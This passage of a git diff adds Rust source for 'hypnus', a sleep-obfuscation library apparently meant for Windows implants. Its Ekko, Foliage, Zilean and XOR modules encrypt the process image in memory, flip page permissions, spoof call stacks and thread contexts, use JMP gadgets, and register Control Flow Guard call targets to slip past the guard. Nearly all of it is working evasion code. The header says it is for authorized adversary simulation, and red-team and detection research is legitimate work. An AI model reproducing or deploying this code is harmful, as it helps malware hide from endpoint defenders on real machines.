ctxs[3], api.ntdll.NtGetContextThread_ptr as u64); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 4: NtSetContextThread - replace main context with spoofed idle context + jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[4].Rcx = h_thread as u64; + ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64; + + // Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP + jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64); + ctxs[5].Rcx = h_thread as u64; + ctxs[5].Rdx = api.sleep.dw_milliseconds as u64; + ctxs[5].R8 = 0; + + // Step 6: SystemFunction041 (RC4 decrypt) - decrypt image + jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64); + ctxs[6].Rcx = api.sleep.buffer as u64; + ctxs[6].Rdx = api.sleep.length as u64; + ctxs[6].R8 = 0; + + // Step 7: NtProtectVirtualMemory(RX) - restore execute permission + jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[7].Rcx = -1isize as u64; + ctxs[7].Rdx = &mut base as *mut _ as u64; + ctxs[7].R8 = &mut size as *mut _ as u64; + ctxs[7].R9 = PAGE_EXECUTE_READ as u64; + + // Step 8: NtSetContextThread - restore real main thread context from backup + jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[8].Rcx = h_thread as u64; + ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 9: NtSetEvent(done_event) - signal chain completion + jmp_ctx(&jmp_gadget, &mut ctxs[9], api.ntdll.NtSetEvent_ptr as u64); + ctxs[9].Rcx = events[2] as u64; + ctxs[9].Rdx = 0; + + // Apply fake stack layout to all 10 contexts (spoofed return address chain) + spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Timer); + + // Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls + // (steps 1 and 7 have 5 parameters; x64 calling convention puts the 5th on the stack) + ((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + ((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + + // Schedule all 10 chain steps as staggered timer callbacks (100ms apart) + api::log_info!(b"[EKKO] scheduling 10 timer callbacks"); + for ctx in &mut ctxs { + let mut timer = null_mut(); + let status = api.ntdll.TpAllocTimer( + &mut timer, + callback.unwrap() as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] TpAllocTimer [chain] failed", status); + return; + } + delay.QuadPart += -(100i64 * 10_000); + api.ntdll.TpSetTimer(timer, &mut delay, 0, 0); + } + + // Signal start_event (unblocks step 0) and wait for done_event (step 9 signals it) + api::log_info!(b"[EKKO] signaling chain start, waiting for completion"); + api.ntdll.NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut()); + + api::log_info!(b"[EKKO] chain complete, cleaning up"); + api.ntdll.NtClose(h_thread); + for e in &events { + api.ntdll.NtClose(*e); + } + api::log_info!(b"[EKKO] ekko done"); +} + +/// Fiber context passed to [`ekko_fiber`] - holds the API pointer and master fiber handle. +struct FiberContext { + api: *mut Api, + master: PVOID, +} + +/// Fiber entry point that runs [`ekko`] on an isolated 1MB stack, then switches +/// back to the master fiber. +/// +/// # Arguments +/// +/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle. +unsafe extern "system" fn ekko_fiber(param: PVOID) { + let ctx = param as *mut FiberContext; + ekko(&mut *(*ctx).api); + let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr); + switch((*ctx).master); +} + +/// Run the Ekko sleep obfuscation chain inside a dedicated fiber. +/// +/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack, +/// executes [`ekko`] on it, then cleans up and converts back to a normal thread. +/// The fiber provides an isolated stack so the chain's stack pointer manipulation +/// does not corrupt the caller's real stack. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and +/// all ntdll/advapi functions used by [`ekko`]). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. Must be called from a thread that +/// has not already been converted to a fiber. +#[link_section = ".text$D"] +pub unsafe fn ekko_with_fiber(api: &mut Api) { + let master = api.kernel32.ConvertThreadToFiber(null_mut()); + if master.is_null() { + api::log_info!(b"[EKKO] ConvertThreadToFiber failed"); + return; + } + + let mut fiber_ctx = FiberContext { + api: api as *mut Api, + master, + }; + + let fiber = api.kernel32.CreateFiber( + 0x100000, + Some(ekko_fiber), + &mut fiber_ctx as *mut _ as PVOID, + ); + + if fiber.is_null() { + api::log_info!(b"[EKKO] CreateFiber failed"); + api.kernel32.ConvertFiberToThread(); + return; + } + + api.kernel32.SwitchToFiber(fiber); + api.kernel32.DeleteFiber(fiber); + api.kernel32.ConvertFiberToThread(); +} diff --git a/crates/hypnus/src/foliage.rs b/crates/hypnus/src/foliage.rs new file mode 100644 index 0000000..714f5df --- /dev/null +++ b/crates/hypnus/src/foliage.rs @@ -0,0 +1,309 @@ +//! APC-based sleep obfuscation using a dedicated suspended thread. +//! +//! Foliage queues the 10-step NtContinue context chain as APCs on a suspended thread +//! via `NtQueueApcThread`. When `NtAlertResumeThread` is called, the thread wakes in +//! an alertable state and executes all queued APCs in FIFO order - no timing required. +//! +//! Unlike Ekko/Zilean, Foliage does not use a thread pool. The APC thread terminates +//! itself via `RtlExitUserThread` in step 9 instead of signaling an event. +//! Uses only 1 event for synchronization. + +use { + crate::common::{ + current_rsp, find_jmp_gadgets, init_spoof_config, jmp_ctx, set_valid_call_targets, + spoof_context, spoof_stack_layout, SpoofKind, + }, + api::{api::Api, windows::*, NT_SUCCESS}, + core::{ffi::c_void, mem::zeroed, ptr::null_mut}, +}; + +/// Register all NT function pointers used by Foliage as valid CFG call targets. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include ntdll handles). +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn handle_cfg(api: &mut Api) { + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtProtectVirtualMemory_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtGetContextThread_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetContextThread_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtQueueApcThread_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateThreadEx_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtAlertResumeThread_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlExitUserThread_ptr as *mut c_void); +} + +/// Execute the Foliage sleep obfuscation chain using APC queuing. +/// +/// Creates a suspended thread, queues 10 NtContinue-based APCs for the +/// encrypt-sleep-decrypt chain, then resumes the thread so APCs fire in FIFO +/// order. The main thread blocks on `NtSignalAndWaitForSingleObject` until the +/// APC thread exits. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain +/// valid image base, length, and sleep duration). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. The caller must ensure the process +/// image base/length in `api.sleep` are valid and that no other thread is modifying +/// the image concurrently. +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn foliage(api: &mut Api) { + api::log_info!(b"[FOLIAGE] foliage: enter"); + + handle_cfg(api); + + let scfg = init_spoof_config(api); + if scfg.is_none() { + api::log_info!(b"[FOLIAGE] init_spoof_config failed"); + return; + } + let scfg = scfg.unwrap(); + + let jmp_gadget = find_jmp_gadgets(api); + if jmp_gadget.is_none() { + api::log_info!(b"[FOLIAGE] find_jmp_gadgets failed"); + return; + } + let jmp_gadget = jmp_gadget.unwrap(); + + let mut event = null_mut(); + let status = api.ntdll.NtCreateEvent( + &mut event, EVENT_ALL_ACCESS, null_mut(), + EVENT_TYPE::SynchronizationEvent, 0, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtCreateEvent failed", status); + return; + } + + // Create a suspended thread. Start address is a safe stub (TpReleaseCleanupGroup+0x250) + // so if the thread wakes unexpectedly it won't crash. Flag 1 = CREATE_SUSPENDED. + let mut h_thread = null_mut(); + let status = api.ntdll.NtCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + null_mut(), + -1isize as HANDLE, + (api.ntdll.TpReleaseCleanupGroup_ptr as *mut c_void).add(0x250), + null_mut(), + 1, + 0, + 0x1000 * 20, + 0x1000 * 20, + null_mut(), + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtCreateThreadEx failed", status); + api.ntdll.NtClose(event); + return; + } + api::log_info!(b"[FOLIAGE] suspended thread created"); + + // Capture the suspended thread's initial context + let mut ctx_init: CONTEXT = zeroed(); + ctx_init.ContextFlags = CONTEXT_FULL; + let status = api.ntdll.NtGetContextThread(h_thread, &mut ctx_init); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtGetContextThread failed", status); + api.ntdll.NtClose(h_thread); + api.ntdll.NtClose(event); + return; + } + api::log_info!(b"[FOLIAGE] thread context captured"); + + let mut ctxs = [ctx_init; 10]; + + // Get a real handle to the current (main) thread + let mut thread = null_mut(); + let status = api.ntdll.NtDuplicateObject( + -1isize as HANDLE, + -2isize as HANDLE, + -1isize as HANDLE, + &mut thread, + 0, 0, + DUPLICATE_SAME_ACCESS, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtDuplicateObject failed", status); + } + + // Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory) + ctx_init.Rsp = current_rsp(); + let mut ctx_spoof = spoof_context(api, &scfg, ctx_init); + + let mut base = api.sleep.buffer as PVOID; + let mut size = api.sleep.length; + let mut old_protect: DWORD = 0; + let mut ctx_backup: CONTEXT = zeroed(); + ctx_backup.ContextFlags = CONTEXT_FULL; + + // Step 0: NtWaitForSingleObject(event) - gate until main signals + jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64); + ctxs[0].Rcx = event as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: NtProtectVirtualMemory(RW) - make image writable + jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[1].Rcx = -1isize as u64; + ctxs[1].Rdx = &mut base as *mut _ as u64; + ctxs[1].R8 = &mut size as *mut _ as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place + jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64); + ctxs[2].Rcx = api.sleep.buffer as u64; + ctxs[2].Rdx = api.sleep.length as u64; + ctxs[2].R8 = 0; + + // Step 3: NtGetContextThread - save real main thread context to backup + jmp_ctx(&jmp_gadget, &mut ctxs[3], api.ntdll.NtGetContextThread_ptr as u64); + ctxs[3].Rcx = thread as u64; + ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 4: NtSetContextThread - replace main context with spoofed idle context + jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[4].Rcx = thread as u64; + ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64; + + // Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP + jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64); + ctxs[5].Rcx = thread as u64; + ctxs[5].Rdx = api.sleep.dw_milliseconds as u64; + + // Step 6: SystemFunction041 (RC4 decrypt) - decrypt image + jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64); + ctxs[6].Rcx = api.sleep.buffer as u64; + ctxs[6].Rdx = api.sleep.length as u64; + ctxs[6].R8 = 0; + + // Step 7: NtProtectVirtualMemory(RX) - restore execute permission + jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[7].Rcx = -1isize as u64; + ctxs[7].Rdx = &mut base as *mut _ as u64; + ctxs[7].R8 = &mut size as *mut _ as u64; + ctxs[7].R9 = PAGE_EXECUTE_READ as u64; + + // Step 8: NtSetContextThread - restore real main thread context from backup + jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[8].Rcx = thread as u64; + ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 9: RtlExitUserThread(0) - terminate the APC thread cleanly. + // Uses DIRECT Rip (no jmp gadget) because this is the final step and the + // thread is about to die - no stack unwinding will occur after this. + ctxs[9].Rip = api.ntdll.RtlExitUserThread_ptr as u64; + ctxs[9].Rcx = 0; + ctxs[9].Rdx = 0; + + // Apply fake stack layout with SpoofKind::Foliage (writes NtTestAlert at stack + // top instead of BaseThreadInitThunk, matching APC delivery call chain) + spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Foliage); + + // Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls + ((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + ((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + + // Queue all 10 APCs on the suspended thread (FIFO order guaranteed) + api::log_info!(b"[FOLIAGE] queuing 10 APCs"); + for ctx in &mut ctxs { + let status = api.ntdll.NtQueueApcThread( + h_thread, + api.ntdll.NtContinue_ptr as *mut c_void, + ctx as *mut _ as *mut c_void, + null_mut(), + null_mut(), + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtQueueApcThread failed", status); + return; + } + } + + // Resume the thread into alertable state - all APCs fire immediately in order + let status = api.ntdll.NtAlertResumeThread(h_thread, null_mut()); + if !NT_SUCCESS!(status) { + api::log_info!(b"[FOLIAGE] NtAlertResumeThread failed", status); + } + + // Signal start event (unblocks step 0), wait for APC thread to exit (step 9 kills it) + api::log_info!(b"[FOLIAGE] signaling chain start, waiting for thread exit"); + api.ntdll.NtSignalAndWaitForSingleObject(event, h_thread, 0, null_mut()); + + api::log_info!(b"[FOLIAGE] chain complete, cleaning up"); + api.ntdll.NtClose(event); + api.ntdll.NtClose(h_thread); + api.ntdll.NtClose(thread); +} + +/// Fiber context passed to [`foliage_fiber`] - holds the API pointer and master fiber handle. +struct FiberContext { + api: *mut Api, + master: PVOID, +} + +/// Fiber entry point that runs [`foliage`] on an isolated 1MB stack, then switches +/// back to the master fiber. +/// +/// # Arguments +/// +/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle. +unsafe extern "system" fn foliage_fiber(param: PVOID) { + let ctx = param as *mut FiberContext; + foliage(&mut *(*ctx).api); + let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr); + switch((*ctx).master); +} + +/// Run the Foliage sleep obfuscation chain inside a dedicated fiber. +/// +/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack, +/// executes [`foliage`] on it, then cleans up and converts back to a normal thread. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and +/// all ntdll/advapi functions used by [`foliage`]). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. Must be called from a thread that +/// has not already been converted to a fiber. +#[link_section = ".text$D"] +pub unsafe fn foliage_with_fiber(api: &mut Api) { + let master = api.kernel32.ConvertThreadToFiber(null_mut()); + if master.is_null() { + api::log_info!(b"[FOLIAGE] ConvertThreadToFiber failed"); + return; + } + + let mut fiber_ctx = FiberContext { + api: api as *mut Api, + master, + }; + + let fiber = api.kernel32.CreateFiber( + 0x100000, + Some(foliage_fiber), + &mut fiber_ctx as *mut _ as PVOID, + ); + + if fiber.is_null() { + api::log_info!(b"[FOLIAGE] CreateFiber failed"); + api.kernel32.ConvertFiberToThread(); + return; + } + + api.kernel32.SwitchToFiber(fiber); + api.kernel32.DeleteFiber(fiber); + api.kernel32.ConvertFiberToThread(); +} diff --git a/crates/hypnus/src/lib.rs b/crates/hypnus/src/lib.rs new file mode 100644 index 0000000..10db6d9 --- /dev/null +++ b/crates/hypnus/src/lib.rs @@ -0,0 +1,44 @@ +//! Sleep obfuscation library for authorized security research and adversary simulation. +//! +//! Hypnus encrypts the process image in memory during sleep and changes page permissions +//! from RX to RW, making the code invisible to memory scanners. It also spoofs the +//! thread's call stack and register context to appear as a normal idle Windows thread. +//! +//! Three dispatch mechanisms are provided, each executing the same 10-step NtContinue +//! context chain on a worker thread: +//! +//! - **Ekko** (`sleep-ekko`): Thread pool timer callbacks via `TpAllocTimer`/`TpSetTimer`. +//! - **Foliage** (`sleep-foliage`): APC queue on a dedicated suspended thread via `NtQueueApcThread`. +//! - **Zilean** (`sleep-zilean`): Thread pool wait callbacks via `TpAllocWait`/`TpSetWait`. +//! - **XOR** (`sleep-xor`): Simple XOR-based memory masking (no context chain). +//! +//! Enable exactly one technique via Cargo feature flags. + +#![no_std] +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code, + unused_imports +)] + +/// Shared infrastructure: encryption, JMP gadget scanning, stack/context spoofing, +/// CFG bypass, and shellcode stub allocation used by all three chain-based techniques. +pub mod common; + +/// Timer-based sleep obfuscation using thread pool timers (`TpAllocTimer`/`TpSetTimer`). +#[cfg(feature = "sleep-ekko")] +pub mod ekko; + +/// APC-based sleep obfuscation using `NtQueueApcThread` on a suspended thread. +#[cfg(feature = "sleep-foliage")] +pub mod foliage; + +/// Wait-based sleep obfuscation using thread pool waits (`TpAllocWait`/`TpSetWait`). +#[cfg(feature = "sleep-zilean")] +pub mod zilean; + +/// Simple XOR-based memory section masking without the NtContinue context chain. +#[cfg(feature = "sleep-xor")] +pub mod xor; diff --git a/crates/hypnus/src/xor.rs b/crates/hypnus/src/xor.rs new file mode 100644 index 0000000..19e2676 --- /dev/null +++ b/crates/hypnus/src/xor.rs @@ -0,0 +1,69 @@ +//! Simple XOR-based memory masking for sleep obfuscation. +//! +//! Unlike the chain-based techniques (Ekko, Foliage, Zilean), this module applies a +//! repeating 128-byte XOR key directly to memory sections. It does not use NtContinue +//! context chains, stack spoofing, or thread context spoofing. + +use { + crate::common::apply_xor_mask, + api::{ + api::{Api, MemorySection}, + util::{is_writable, make_section_writable, restore_section_protection}, + }, +}; + +/// XOR-mask or unmask a single memory section using the global [`XORKEY`](crate::common::XORKEY). +/// +/// When `mask` is `true` (encrypting), the section is made writable before XOR. +/// When `mask` is `false` (decrypting), the original protection is restored after XOR. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// * `section` - The memory section to XOR. Must describe a valid mapped region. +/// * `mask` - `true` to encrypt (RX -> RW -> XOR), `false` to decrypt (XOR -> RW -> RX). +/// +/// # Safety +/// +/// The caller must ensure `section` points to a valid, mapped memory region and that +/// the `Api` function pointers are resolved. +#[link_section = ".text$D"] +pub unsafe fn xor_section(api: &mut Api, section: &mut MemorySection, mask: bool) { + api::log_info!(b"[XOR] xor_section", section.base_address as usize); + + // Step 1) If masking, make section writable (RX -> RW) before XOR + if mask { + make_section_writable(api, section); + } + + // Step 2) Apply XOR if section is currently writable + if is_writable(section.current_protect) { + apply_xor_mask(section.base_address as _, section.size as _); + } + + // Step 3) If unmasking, restore original protection (RW -> RX) after XOR + if !mask { + restore_section_protection(api, section); + } +} + +/// XOR-mask or unmask all tracked memory sections stored in `api.sleep.sections`. +/// +/// Iterates up to 20 sections and delegates to [`xor_section`] for each. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context with section list. +/// * `mask` - `true` to encrypt all sections, `false` to decrypt. +/// +/// # Safety +/// +/// The caller must ensure all section entries in `api.sleep.sections[0..num_sections]` +/// describe valid mapped memory and that `Api` function pointers are resolved. +#[link_section = ".text$D"] +pub unsafe fn mask_memory_from_context(api: &mut Api, mask: bool) { + for i in 0..api.sleep.num_sections.min(20) { + let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection; + xor_section(api, &mut *section_ptr, mask); + } +} diff --git a/crates/hypnus/src/zilean.rs b/crates/hypnus/src/zilean.rs new file mode 100644 index 0000000..e6fa2f5 --- /dev/null +++ b/crates/hypnus/src/zilean.rs @@ -0,0 +1,367 @@ +//! Wait-based sleep obfuscation using Windows thread pool waits. +//! +//! Zilean schedules the 10-step NtContinue context chain as staggered wait callbacks +//! via `TpAllocWait`/`TpSetWait` on a single-threaded pool. Each wait is armed with the +//! process pseudo-handle (`-1`) and a timeout - since the process handle never signals, +//! the timeout fires and calls `NtContinue` to load the next pre-built `CONTEXT`. +//! +//! Uses 3 events like Ekko: `capture_done`, `start`, and `done`. The process pseudo-handle +//! replaces the dedicated dummy event, matching legitimate async patterns. + +use { + crate::common::{ + alloc_callback, alloc_set_event_stub, alloc_trampoline, current_rsp, find_jmp_gadgets, + init_spoof_config, jmp_ctx, set_valid_call_targets, spoof_context, spoof_stack_layout, + SpoofKind, + }, + api::{api::Api, windows::*, NT_SUCCESS}, + core::{ffi::c_void, mem::zeroed, ptr::null_mut}, +}; + +/// Register all NT function pointers used by Zilean as valid CFG call targets. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include ntdll handles). +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn handle_cfg(api: &mut Api) { + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateEvent_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocPool_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolStackInformation_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMinThreads_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMaxThreads_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlCaptureContext_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocWait_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetWait_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void); +} + +/// Execute the Zilean sleep obfuscation chain using thread pool waits. +/// +/// Sets up a single-threaded pool, captures the worker's context via a trampoline +/// wait, clones it into 10 CONTEXTs for the encrypt-sleep-decrypt chain, applies +/// JMP gadget indirection and stack spoofing, then schedules all 10 as staggered +/// wait callbacks. The main thread blocks on `NtSignalAndWaitForSingleObject` until +/// the chain completes. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain +/// valid image base, length, and sleep duration). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. The caller must ensure the process +/// image base/length in `api.sleep` are valid and that no other thread is modifying +/// the image concurrently. +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn zilean(api: &mut Api) { + api::log_info!(b"[ZILEAN] zilean: enter"); + + handle_cfg(api); + + let scfg = init_spoof_config(api); + if scfg.is_none() { + api::log_info!(b"[ZILEAN] init_spoof_config failed"); + return; + } + let scfg = scfg.unwrap(); + + let jmp_gadget = find_jmp_gadgets(api); + if jmp_gadget.is_none() { + api::log_info!(b"[ZILEAN] find_jmp_gadgets failed"); + return; + } + let jmp_gadget = jmp_gadget.unwrap(); + + let trampoline = alloc_trampoline(api); + if trampoline.is_none() { + api::log_info!(b"[ZILEAN] trampoline allocation failed"); + return; + } + + let callback = alloc_callback(api); + if callback.is_none() { + api::log_info!(b"[ZILEAN] callback allocation failed"); + return; + } + + // events[0] = capture_done, events[1] = start, events[2] = done + // (process pseudo-handle -1 replaces the old dummy_wait event) + let mut events = [null_mut(); 3]; + for event in &mut events { + let status = api.ntdll.NtCreateEvent( + &mut *event, EVENT_ALL_ACCESS, null_mut(), + EVENT_TYPE::NotificationEvent, 0, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] NtCreateEvent failed", status); + return; + } + } + + // Create a single-threaded pool with 512KB stack + let mut pool = null_mut(); + let status = api.ntdll.TpAllocPool(&mut pool, null_mut()); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] TpAllocPool failed", status); + return; + } + + let mut stack = TP_POOL_STACK_INFORMATION { StackCommit: 0x80000, StackReserve: 0x80000 }; + let status = api.ntdll.TpSetPoolStackInformation(pool, &mut stack); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] TpSetPoolStackInformation failed", status); + return; + } + + api.ntdll.TpSetPoolMinThreads(pool, 1); + api.ntdll.TpSetPoolMaxThreads(pool, 1); + + let mut env = TP_CALLBACK_ENVIRON_V3 { Pool: pool, ..Default::default() }; + + // Schedule trampoline wait to capture worker thread context via RtlCaptureContext. + // P1Home stores the RtlCaptureContext pointer; the trampoline stub reads it via jmp [rcx]. + // Use process pseudo-handle (-1) as wait target - never signals, so timeout fires. + let mut wait_ctx = null_mut(); + let mut ctx_init: CONTEXT = zeroed(); + ctx_init.ContextFlags = CONTEXT_FULL; + ctx_init.P1Home = api.ntdll.RtlCaptureContext_ptr as u64; + + let status = api.ntdll.TpAllocWait( + &mut wait_ctx, + trampoline.unwrap() as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] TpAllocWait [RtlCaptureContext] failed", status); + return; + } + + // Fire trampoline via 100ms timeout (process handle never signals) + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + let h_process = -1isize as HANDLE; + api.ntdll.TpSetWait(wait_ctx, h_process, &mut delay); + + // Schedule set_event_stub wait to signal capture_done at 200ms + let set_event_stub = alloc_set_event_stub(api); + if set_event_stub.is_none() { + api::log_info!(b"[ZILEAN] alloc_set_event_stub failed"); + return; + } + + let mut wait_event = null_mut(); + let status = api.ntdll.TpAllocWait( + &mut wait_event, + set_event_stub.unwrap() as *mut c_void, + events[0], // capture_done event (callback context) + &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] TpAllocWait [NtSetEvent] failed", status); + return; + } + + delay.QuadPart = -(200i64 * 10_000); + api.ntdll.TpSetWait(wait_event, h_process, &mut delay); + + // Block until the worker context is captured + let status = api.ntdll.NtWaitForSingleObject(events[0], 0, null_mut()); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] NtWaitForSingleObject [capture] failed", status); + } + api::log_info!(b"[ZILEAN] context captured"); + + // Clone captured context into 10 copies; set Rax = NtContinue for each + let mut ctxs = [ctx_init; 10]; + for ctx in &mut ctxs { + ctx.Rax = api.ntdll.NtContinue_ptr as u64; + ctx.Rsp -= 8; + } + + // Get a real handle to the current thread (fiber's underlying thread) + let mut h_thread = null_mut(); + let status = api.ntdll.NtDuplicateObject( + -1isize as HANDLE, + -2isize as HANDLE, + -1isize as HANDLE, + &mut h_thread, + 0, 0, + DUPLICATE_SAME_ACCESS, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] NtDuplicateObject failed", status); + } + + // Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory) + ctx_init.Rsp = current_rsp(); + let mut ctx_spoof = spoof_context(api, &scfg, ctx_init); + + let mut base = api.sleep.buffer as PVOID; + let mut size = api.sleep.length; + let mut old_protect: DWORD = 0; + let mut ctx_backup: CONTEXT = zeroed(); + ctx_backup.ContextFlags = CONTEXT_FULL; + + // Step 0: NtWaitForSingleObject(start_event) - gate until main signals + jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64); + ctxs[0].Rcx = events[1] as u64; // start event + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: NtProtectVirtualMemory(RW) - make image writable + jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[1].Rcx = -1isize as u64; + ctxs[1].Rdx = &mut base as *mut _ as u64; + ctxs[1].R8 = &mut size as *mut _ as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place + jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64); + ctxs[2].Rcx = api.sleep.buffer as u64; + ctxs[2].Rdx = api.sleep.length as u64; + ctxs[2].R8 = 0; + + // Step 3: NtGetContextThread - save real main thread context to backup + jmp_ctx(&jmp_gadget, &mut ctxs[3], api.ntdll.NtGetContextThread_ptr as u64); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 4: NtSetContextThread - replace main context with spoofed idle context + 